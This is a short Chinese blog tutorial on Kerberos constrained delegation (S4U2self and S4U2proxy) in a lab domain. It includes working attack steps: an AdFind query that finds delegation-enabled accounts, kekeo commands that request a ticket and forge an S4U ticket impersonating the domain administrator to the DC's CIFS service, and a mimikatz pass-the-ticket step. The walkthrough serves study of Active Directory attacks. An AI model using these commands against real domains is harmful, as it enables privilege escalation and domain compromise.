1 min read

Kerberos协议之约束委派

上文说到非约束委派,本文来说约束委派。

概述

因为非约束委派的不安全性,约束委派应运而生。在2003之后微软引入了非约束委派,对Kerberos引入S4U,包含了两个子协议S4U2self、S4U2proxy。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST),S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。

1.png

具体过程是收到用户的请求之后,首先代表用户获得针对服务自身的可转发的kerberos服务票据(S4U2SELF),拿着这个票据向KDC请求访问特定服务的可转发的TGS(S4U2PROXY),并且代表用户访问特定服务,而且只能访问该特定服务。

来看下实际的利用

利用

先配置约束委派环境。新建一个sql用户,并且加上spn表示其为服务用户。

setspn -A MSSQLSvc/DM.test.local:1433 sql

2.png

加上spn之后委派的选项卡才会出现,因为只有服务账户和计算机账户才可以被委派。

在这里配置上dc的cifs可以被sql用户所委派。需要注意的是使用任何身份验证协议3.png

查找约束委派的用户

AdFind.exe -b dc=test,dc=local -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn

4.png

查找约束委派的主机

(&(samAccountType=805306368)(msds-allowedtodelegateto=*))

约束委派需要知道sql服务账户的密码或hash,此时在DM机器中使用kekeo申请tgt。

tgt::ask /user:sql /domain:test.local /password:[email protected]#

5.png

使用该tgt通过s4u伪造[email protected]去访问dc的cifs服务。

tgs::s4u /tgt:[email protected][email protected] /user:administrator /service:cifs/dc.test.local

6.png

生成了两个tgs

7.png

通过mimikatz使用cifs的tgs票据进行ptt

8.png

实战中的利用需要知道配置了委派用户的密码或hash。

参考

  1. https://xz.aliyun.com/t/7217
  2. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
  3. https://daiker.gitbook.io/windows-protocol/kerberos/2

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。